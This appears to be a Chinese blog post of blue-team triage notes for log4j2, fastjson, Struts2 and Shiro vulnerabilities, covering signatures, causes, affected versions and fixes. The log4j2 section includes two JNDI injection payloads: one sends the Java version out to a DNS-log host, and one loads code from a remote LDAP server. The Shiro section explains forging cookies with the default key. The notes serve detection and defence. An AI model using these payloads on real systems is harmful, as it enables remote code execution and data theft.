当前位置: 首页 > news >正文

2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)

1、log4j2

特征:

恶意请求中包含 JNDI 协议地址,如"ldap://"、"rmi://"等,被 log4j2 解析为 JNDI 查找。

原理:

在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行。

影响:

严重的 RCE,2.0 ≤ Apache Log4j2 < 2.15.0-rc2

攻击字段:

${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)

${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)

(一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)

修复:

将 Log4j 升级到已修复漏洞的版本;

如果不需要使用 JndiLookup 插件,可以将其移除或禁用;

配置 log4j2.xml 来限制日志文件的输出路径。

2、fastjson

判断:

构造恶意的 POST 请求,观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样

特征:

开启了自省功能, JSON 数据中包含 @type 字段

原理:

fastjson 在解析 JSON 数据时存在自动类型转换功能(autoType),FastJson 就会自动解析@type 参数字段,利用该功能构造恶意 JSON 数据,使其在反序列化过程中触发漏洞利用链,从而实现恶意代码的执行。

注:@type、自省功能以及 autoType 指的是同一个概念,即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。

影响:

fastjson<=1.2.24:反序列化导致任意命令执行

fastjson< =1.2.47:构造特殊的 json 字符串绕过白名单执行任意命令

如何判断攻击成功:

POST 请求中包含了恶意构造的 JSON 数据;

服务器会返回异常的响应(如状态码为 500);

服务器会返回 Fastjson 相关的字样或错误信息;

与异常的目标 IP 地址或端口建立反向 shell 连接;

异常的恶意文件或数据传输行为。

修复:

将 Fastjson 升级到最新版本;

关闭 AutoType 功能;

在反序列化之前对 JSON 数据进行严格的验证和过滤。

3、Struts2

此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理,这允许恶意用户提交一个字符串,通常通过 HTML 文本字段,其中包含一个 OGNL 表达式(如 %{1+1}),如果表单验证失败,服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。

4、Shiro

 

介绍:

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。

原理:

Shiro 在用户登陆时提供可选项 RememberMe,若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求,就不需要重新输入用户名和密码,用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie,服务端反序列化时触发漏洞,从而实现命令执行。

特征:

勾选记住密码选项后,点击登录,抓包,观察请求包中是否有 rememberme 字段,响应包中是否有 Set-cookie:rememberMe=deleteMe 字段。

利用:

只要 RememberMe 的 AES 加密密钥泄漏,无论 Shiro 什么版本都会导致反序列化漏洞,AES 是对称加密,加解密是相同的密钥,密钥是写在开源框架的代码中的,我们便可使用公开密钥进行爆破尝试。

修复:

升级Shiro到最新版本;

修改shiro的密钥,不要使用公开密钥;

WAF 拦截 Cookie 中长度过大的 RememberMe 值。

相关文章:

2024HVV行动-进军蓝中研判(log4j2、fastjson、Struts2、Shiro)

1、log4j2 特征&#xff1a; 恶意请求中包含 JNDI 协议地址&#xff0c;如"ldap://"、"rmi://"等&#xff0c;被 log4j2 解析为 JNDI 查找。 原理&#xff1a; 在日志输出中&#xff0c;未对字符进行严格的过滤&#xff0c;执行了 JNDI 协议加载的远程恶…...

亮点抢先看!4月16-17日,百度Create大会开设“AI公开课”,大咖带你打造赚钱工具

3月16日&#xff0c;2024百度Create AI开发者大会正式开放售票&#xff0c;嘉宾套票定价399元。据悉&#xff0c;本次大会以“创造未来&#xff08;Create the Future&#xff09;”为主题&#xff0c;设有20深度论坛、超30节AI公开课、3000平AI互动体验区和AI音乐节等精彩环节…...

【笔记本清灰/实用经验】荣耀Magicbook14-2020款-R5-4500U-清灰实战

清灰有风险&#xff0c;动手需谨慎&#xff0c;本文只分享本人的清灰过程&#xff0c;对使用它所产生的任何后果不任何负责任 文章目录 背景信息准备阶段工具准备信息收集 正式清灰初始化清灰流程放掉身体的静电&#xff08;重要&#xff09;拆笔记本后盖断开电源&#xff08;重…...

如何写好Stable Diffusion的prompt

Stable Diffusion是一种强大的文本到图像生成模型&#xff0c;其效果在很大程度上取决于输入的提示词&#xff08;Prompt&#xff09;。以下是一些关于如何编写有效的Stable Diffusion Prompt的秘诀&#xff1a; 明确描述&#xff1a;尽量清晰地描述你想要的图像内容。使用具体…...

计算机毕业设计 | SpringBoot+vue 移动端社区物业管理系统(附源码+论文)

1&#xff0c; 概述 课题背景 近几年来&#xff0c;随着物业相关的各种信息越来越多&#xff0c;比如报修维修、缴费、车位、访客等信息&#xff0c;对物业管理方面的需求越来越高&#xff0c;我们在工作中越来越多方面需要利用网页端管理系统来进行管理&#xff0c;我们所需…...

玩转C语言——数组初探

一、前言 通过前面的学习&#xff0c;我们已了解C语言的结构变量、分支结构和循环结构。今天&#xff0c;我们一起来认识C语言的另一知识点——数组。先赞后看&#xff0c;养成习惯。 二、数组概念 学习数组&#xff0c;我们要明白数组是什么。在我看来&#xff1a;数组是⼀组…...

Nginx指令配置大全

基本命令 nginx -t 检查配置文件是否有语法错误 nginx -s reload 热加载&#xff0c;重新加载配置文件 nginx -s stop 快速关闭 nginx -s quit 等待工作进程处理完成后关闭配置块介绍 全局块 全局块是默认配置文件从开始到events块之间的…...

富格林:安全出金关注可信操作

富格林悉知&#xff0c;现货黄金投资凭借着诸多优势&#xff0c;成为了热门的投资产品之一&#xff0c;也获得了投资者的追捧。在投资中想要安全盈利出金&#xff0c;投资者一定要沉下心来学习专业知识和技术&#xff0c;这样才能在以后的投资操作中避免亏损&#xff0c;顺畅盈…...

DELETE、TRUNCATE 和 DROP 在MySQL中的区别及使用示例

在MySQL数据库中&#xff0c;DELETE、TRUNCATE TABLE 和 DROP 这三个命令分别适用于不同的数据删除需求&#xff0c;它们在工作原理、应用场景以及特性上有所区别。接下来&#xff0c;我们通过实例演示来明确这三者的不同之处。 DELETE 命令 功能与示例&#xff1a;DELETE 语…...

程序员应该如何选择职业赛道?

程序员选择职业赛道是一个涉及个人兴趣、技能匹配、市场需求和长远发展规划的综合决策过程。以下是一些关键步骤和考虑因素&#xff1a; 自我评估&#xff1a; 技能与专长&#xff1a;分析自己在编程语言、算法、数据结构等方面的现有技能&#xff0c;并思考这些技能更适合前端…...

深入浅出Hive性能优化策略

我们将从基础的HiveQL优化讲起&#xff0c;涵盖数据存储格式选择、数据模型设计、查询执行计划优化等多个方面。会的直接滑到最后看代码和语法。 目录 引言 Hive架构概览 示例1&#xff1a;创建表并加载数据 示例2&#xff1a;优化查询 Hive查询优化 1. 选择适当的文件格…...

利用卷积神经网络进行人脸识别

利用卷积神经网络&#xff08;Convolutional Neural Networks, CNNs&#xff09;进行人脸识别是计算机视觉领域的一个热门话题。下面是一个简化的指南&#xff0c;涵盖了从理论基础到实际应用的各个方面&#xff0c;可以作为你博文的基础内容。 理论基础 卷积神经网络简介&am…...

固态硬盘有坏道怎么恢复数据 固态硬盘坏道怎么修复

固态硬盘是一种高速、低噪音、低功耗的存储设备,但是它也有一个致命的问题——坏道。坏道是指存储芯片中的某些存储单元出现了故障,导致数据无法正常读取或写入。如果你的固态硬盘出现了坏道,那么你的数据就有可能会丢失,带来了很大的困扰。那么,固态硬盘有坏道怎么恢复数…...

adobe animate 时间轴找不到编辑多个帧按钮

如题&#xff0c;找了半天&#xff0c;在时间轴上找不到编辑多个帧按钮,导致无法批量处理帧 然后搜索发现原来是有些版本被隐藏了&#xff0c;需要再设置一下 勾选上就好了...

5 亿欧元巨额奖励!法国国防部启动量子初创公司项目

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 编辑丨王珩 编译/排版丨沛贤 深度好文&#xff1a;800字丨6分钟阅读 据C4ISNET报道&#xff0c;法国国防部采购机构宣布向五家法国量子计算研究初创公司授予合同&#xff0c;用于开发量子计算技…...

Linux:系统初始化,内核优化,性能优化(2)

优化ssh协议 Linux&#xff1a;ssh配置_ssh配置文件-CSDN博客https://blog.csdn.net/w14768855/article/details/131520745?ops_request_misc%257B%2522request%255Fid%2522%253A%2522171068202516800197044705%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fb…...

JS08-DOM节点

DOM节点 查找节点 父节点 通过.parentNode属性可以获得某个元素的父节点&#xff0c;并对其进行操作。例如&#xff0c;隐藏.son元素的父节点。 <div class"father"><div class"son">儿子</div></div><script>let son d…...

2024/3/14打卡棋子(14届蓝桥杯)——差分

标准差分模板 差分——前缀和的逆运算&#xff08;一维二维&#xff09;-CSDN博客 题目 小蓝拥有 nn 大小的棋盘&#xff0c;一开始棋盘上全都是白子。 小蓝进行了 m 次操作&#xff0c;每次操作会将棋盘上某个范围内的所有棋子的颜色取反(也就是白色棋子变为黑色&#xff0…...

A Survey on Multimodal Large Language Models

目录 1. Introduction2. 概述方法多模态指令调优 3.1.1 简介3.1.2 预备知识3.1.3 模态对齐3.1.4 数据3.1.5 模态桥接3.1.6 评估 3.2.多模态情境学习3.3.多模态思维链3.3.1 模态桥接3.3.2 学习范式3.3.3 链配置3.3.4 生成模式3.4.LLMs辅助视觉推理3.4.1 简介3.4.2 训练范式3.4.3…...

Java面向对象编程(高级)一

在Java中&#xff0c;面向对象编程更是核心设计理念之一&#xff0c;为开发者提供了丰富的工具和特性来创建灵活、可扩展的应用程序。 本博客将深入探讨Java面向对象编程的高级特性&#xff0c;包括但不限于多态、继承、封装、抽象类、接口等方面的内容。我们将从实际案例出发…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

【力扣数据库知识手册笔记】索引

索引 索引的优缺点 优点1. 通过创建唯一性索引&#xff0c;可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度&#xff08;创建索引的主要原因&#xff09;。3. 可以加速表和表之间的连接&#xff0c;实现数据的参考完整性。4. 可以在查询过程中&#xff0c;…...

【Linux】C语言执行shell指令

在C语言中执行Shell指令 在C语言中&#xff0c;有几种方法可以执行Shell指令&#xff1a; 1. 使用system()函数 这是最简单的方法&#xff0c;包含在stdlib.h头文件中&#xff1a; #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

反射获取方法和属性

Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...

2025盘古石杯决赛【手机取证】

前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来&#xff0c;实在找不到&#xff0c;希望有大佬教一下我。 还有就会议时间&#xff0c;我感觉不是图片时间&#xff0c;因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

Fabric V2.5 通用溯源系统——增加图片上传与下载功能

fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式

今天是关于AI如何在教学中增强学生的学习体验&#xff0c;我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育&#xff0c;这并非炒作&#xff0c;而是已经发生的巨大变革。教育机构和教育者不能忽视它&#xff0c;试图简单地禁止学生使…...